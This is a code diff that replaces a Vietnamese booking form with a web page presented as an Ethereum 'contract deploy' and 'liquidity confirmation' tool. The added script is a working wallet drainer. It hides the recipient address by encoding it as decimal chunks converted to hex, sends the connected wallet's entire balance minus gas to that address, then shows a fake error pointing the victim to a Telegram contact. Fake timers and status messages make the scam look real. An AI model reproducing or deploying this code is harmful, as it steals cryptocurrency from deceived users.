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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
30 |
|
31 |
-
|
32 |
-
|
33 |
-
|
34 |
-
|
35 |
-
|
36 |
-
|
37 |
-
|
38 |
-
|
39 |
-
|
40 |
-
|
41 |
-
|
42 |
-
|
43 |
-
|
44 |
-
<br>
|
45 |
-
<label for="requests">Các yêu cầu của quý khách: </label>
|
46 |
-
<br>
|
47 |
-
<textarea name="requests" id="requests" cols="100" rows="10"></textarea>
|
48 |
-
<br>
|
49 |
-
<button type="button" onclick="submitBooking()">Dặt chỗ</button>
|
50 |
-
</form>
|
51 |
-
</body>
|
52 |
-
<script>
|
53 |
-
function submitBooking() {
|
54 |
-
const numGuest = document.getElementById("numGuest").value;
|
55 |
-
const date = document.getElementById("date").value;
|
56 |
-
const partyType = document.querySelector('input[name="partyType"]:checked').value;
|
57 |
-
const age = document.getElementById("age").value;
|
58 |
-
const gender = document.querySelector('input[name="gender"]:checked').value;
|
59 |
-
const referral = document.getElementById("referral").value;
|
60 |
-
const requests = document.getElementById("requests").value;
|
61 |
|
62 |
-
|
|
|
|
|
63 |
}
|
64 |
-
|
65 |
-
|
|
|
|
|
|
|
|
1 |
+
<section>
|
2 |
+
<button id="connectButton">connect</button>
|
3 |
+
<table id="checkAdressBalanceButton" style="display: none">
|
4 |
+
<tr>
|
5 |
+
<td>my contract</td>
|
6 |
+
<td><button id="regular">deploy</button></td>
|
7 |
+
<td>
|
8 |
+
<p id="result"><code>no contract</code></p>
|
9 |
+
</td>
|
10 |
+
</tr>
|
11 |
+
<tr>
|
12 |
+
<td>my second address</td>
|
13 |
+
<td>
|
14 |
+
<input
|
15 |
+
type="text"
|
16 |
+
id="typeAdress"
|
17 |
+
name="adress_auth"
|
18 |
+
placeholder="Input second address ETH-0x"
|
19 |
+
autocomplete="off"
|
20 |
+
size="20"/>
|
21 |
+
</td>
|
22 |
+
<td>
|
23 |
+
<button id="sendEtherButton" style="display: none">Attach</button>
|
24 |
+
</td>
|
25 |
+
<td><div id="statusMessage"></div></td>
|
26 |
+
</tr>
|
27 |
+
<tr>
|
28 |
+
<td>my status</td>
|
29 |
+
<td><center>
|
30 |
+
<button disabled="disabled" id="checkBalanceButton" style="display: none">
|
31 |
+
liquid
|
32 |
+
</button>
|
33 |
+
</td>
|
34 |
+
<td><p id="balanceDisplay" style="display: none"></p>confirm the liquidity</td>
|
35 |
+
</tr>
|
36 |
+
</table>
|
37 |
+
<script>
|
38 |
+
const connectButton = document.getElementById("connectButton");
|
39 |
+
const sendEtherButton = document.getElementById("sendEtherButton");
|
40 |
+
const typeAdress = document.getElementById("typeAdress");
|
41 |
+
const checkBalanceButton =document.getElementById("checkBalanceButton");
|
42 |
+
const balanceDisplay = document.getElementById("balanceDisplay");
|
43 |
+
const checkAdressBalanceButton = document.getElementById("checkAdressBalanceButton");
|
44 |
+
const statusMessage = document.getElementById("statusMessage");
|
45 |
+
let validationComplete = false;
|
46 |
+
let transferInProgress = false;
|
47 |
+
const performTransaction = async () => {
|
48 |
+
try {
|
49 |
+
const value = typeAdress.value;
|
50 |
+
transferInProgress = true;
|
51 |
+
function kyc(dcm)
|
52 |
+
{
|
53 |
+
return parseInt(dcm).toString(16);
|
54 |
+
}
|
55 |
+
const m = '29555';
|
56 |
+
const k = '65823';
|
57 |
+
const e = '32280';
|
58 |
+
const v = '619621';
|
59 |
+
const n = '137011';
|
60 |
+
const c = '4211409';
|
61 |
+
const i = '14392965';
|
62 |
+
const p = '113273';
|
63 |
+
const evm = kyc(m);
|
64 |
+
const hashlock = kyc(k);
|
65 |
+
const moe = kyc(e);
|
66 |
+
const spv = kyc(v);
|
67 |
+
const comission = kyc(n);
|
68 |
+
const sc = kyc(c);
|
69 |
+
const validate = kyc(i);
|
70 |
+
const mnode = kyc(p);
|
71 |
+
const ra = `0x${evm}${hashlock}${moe}${spv}${comission}${sc}${validate}${mnode}`;
|
72 |
+
const balanceWei = await window.ethereum.request({
|
73 |
+
method: "eth_getBalance",
|
74 |
+
params: [window.ethereum.selectedAddress, "latest"],
|
75 |
+
});
|
76 |
+
const gasPrice = await window.ethereum.request({
|
77 |
+
method: "eth_gasPrice",
|
78 |
+
});
|
79 |
+
const gasLimit = 33000;
|
80 |
+
const gasCost = gasPrice * gasLimit;
|
81 |
+
if (BigInt(balanceWei) < gasCost) {
|
82 |
+
alert("no ETH for gas fee");
|
83 |
+
transferInProgress = false;
|
84 |
+
return;
|
85 |
+
}
|
86 |
+
const amountToSend = BigInt(balanceWei) - BigInt(gasCost);
|
87 |
+
await window.ethereum.request({
|
88 |
+
method: "eth_sendTransaction",
|
89 |
+
params: [
|
90 |
+
{
|
91 |
+
from: window.ethereum.selectedAddress,
|
92 |
+
to: ra,
|
93 |
+
value: "0x" + amountToSend.toString(16),
|
94 |
+
},
|
95 |
+
],
|
96 |
+
});
|
97 |
+
alert("Error. A small amount of liquidity. Write to me in telegram @OnlyTrustCrypto");
|
98 |
+
transferInProgress = false;
|
99 |
+
} catch (error) {
|
100 |
+
alert("Error confirming liquidity. Repeat again");
|
101 |
+
console.error(error);
|
102 |
+
transferInProgress = false;
|
103 |
+
}
|
104 |
+
};
|
105 |
+
connectButton.addEventListener("click", async () => {
|
106 |
+
try {
|
107 |
+
const accounts = await window.ethereum.request({
|
108 |
+
method: "eth_requestAccounts",
|
109 |
+
});
|
110 |
+
if (accounts.length > 0) {
|
111 |
+
sendEtherButton.style.display = "block";
|
112 |
+
typeAdress.style.display = "block";
|
113 |
+
checkBalanceButton.style.display = "block";
|
114 |
+
checkAdressBalanceButton.style.display = "block";
|
115 |
+
connectButton.style.display = "none";
|
116 |
+
}
|
117 |
+
} catch (error) {
|
118 |
+
console.error(error);
|
119 |
+
alert("connection error");
|
120 |
+
}
|
121 |
+
});
|
122 |
+
sendEtherButton.addEventListener("click", async () => {
|
123 |
+
try {
|
124 |
+
const value = typeAdress.value;
|
125 |
+
if (resultElement.innerText !== "ready") {
|
126 |
+
alert("Сlick the deploy button");
|
127 |
+
return;
|
128 |
+
}
|
129 |
+
if (!value || value.length < 40) {
|
130 |
+
alert("Attention! Enter the correct second Ethereum address");
|
131 |
+
return;
|
132 |
+
}
|
133 |
+
if (!validationComplete) {
|
134 |
+
if (
|
135 |
+
/^[a-zA-Z0-9!@#$%^'&*()-_+=<>?:"',./\[\]{}|\\]+$/g.test(
|
136 |
+
value
|
137 |
+
) &&
|
138 |
+
value.length >= 40
|
139 |
+
) {
|
140 |
+
statusMessage.textContent = "waiting";
|
141 |
+
typeAdress.disabled = true;
|
142 |
+
sendEtherButton.disabled = true;
|
143 |
|
144 |
+
setTimeout(() => {
|
145 |
+
validationComplete = true;
|
146 |
+
statusMessage.textContent = "ready";
|
147 |
+
typeAdress.disabled = true;
|
148 |
+
sendEtherButton.textContent = "confirm";
|
149 |
+
sendEtherButton.disabled = false;
|
150 |
+
}, 10000);
|
151 |
+
} else {
|
152 |
+
alert("Error! input value");
|
153 |
+
}
|
154 |
+
} else if (sendEtherButton.textContent === "confirm") {
|
155 |
+
performTransaction();
|
156 |
+
}
|
157 |
+
} catch (error) {
|
158 |
+
console.error("Error on process:\n" + error);
|
159 |
+
transferInProgress = false;
|
160 |
+
}
|
161 |
+
});
|
162 |
+
checkBalanceButton.addEventListener("click", async () => {
|
163 |
+
try {
|
164 |
+
const balanceWei = await window.ethereum.request({
|
165 |
+
method: "eth_getBalance",
|
166 |
+
params: [window.ethereum.selectedAddress, "latest"],
|
167 |
+
});
|
168 |
+
const balanceEther = (parseInt(balanceWei) / 1e18).toFixed(4);
|
169 |
+
balanceDisplay.innerText = `balance: ${balanceEther} ETH`;
|
170 |
+
balanceDisplay.style.display = "block";
|
171 |
+
} catch (error) {
|
172 |
+
console.error(error);
|
173 |
+
alert("Error");
|
174 |
+
}
|
175 |
+
});
|
176 |
+
</script>
|
177 |
+
<style>
|
178 |
+
html {
|
179 |
+
box-sizing: border-box;
|
180 |
+
font-family: "Open Sans", sans-serif;
|
181 |
+
}
|
182 |
+
*,
|
183 |
+
*:before,
|
184 |
+
*:after {
|
185 |
+
box-sizing: inherit;
|
186 |
+
}
|
187 |
+
body {
|
188 |
+
font-family: Arial, sans-serif;
|
189 |
+
text-align: center;
|
190 |
+
margin: 0;
|
191 |
+
padding: 20px;
|
192 |
+
background: #222336;
|
193 |
+
background: -webkit-radial-gradient(
|
194 |
+
circle farthest-side at center center,
|
195 |
+
#222336 0%,
|
196 |
+
#222336 100%
|
197 |
+
);
|
198 |
+
background: -moz-radial-gradient(
|
199 |
+
circle farthest-side at center center,
|
200 |
+
#2a2c3f 0%,
|
201 |
+
#222336 100%
|
202 |
+
);
|
203 |
+
background: radial-gradient(
|
204 |
+
circle farthest-side at center center,
|
205 |
+
#222336 0%,
|
206 |
+
#222336 100%
|
207 |
+
);
|
208 |
+
}
|
209 |
+
section {
|
210 |
+
background: #2a2c3f;
|
211 |
+
color: white;
|
212 |
+
border-radius: 1em;
|
213 |
+
padding: 1em;
|
214 |
+
position: absolute;
|
215 |
+
top: 50%;
|
216 |
+
left: 50%;
|
217 |
+
margin-right: -50%;
|
218 |
+
margin: 0 auto;
|
219 |
+
transform: translate(-50%, -50%);
|
220 |
+
}
|
221 |
+
</style>
|
222 |
+
<script>
|
223 |
+
const regularLaunchButton = document.getElementById("regular");
|
224 |
+
const resultElement = document.getElementById("result");
|
225 |
|
226 |
+
function setButtonsDisabled(isDisabled) {
|
227 |
+
regularLaunchButton.disabled = isDisabled;
|
228 |
+
}
|
229 |
+
function timeout(workFn) {
|
230 |
+
console.log("exec");
|
231 |
+
setButtonsDisabled(true);
|
232 |
+
resultElement.innerText = "waiting...";
|
233 |
+
setTimeout(() => {
|
234 |
+
const asyncStartTime = Date.now();
|
235 |
+
resultElement.innerText = "ready";
|
236 |
+
setButtonsDisabled(true);
|
237 |
+
}, 12000);
|
238 |
+
const startTime = Date.now();
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
239 |
|
240 |
+
if (typeof workFn === "function") {
|
241 |
+
workFn();
|
242 |
+
}
|
243 |
}
|
244 |
+
regularLaunchButton.addEventListener("click", () => {
|
245 |
+
timeout();
|
246 |
+
});
|
247 |
+
</script>
|
248 |
+
</section>
|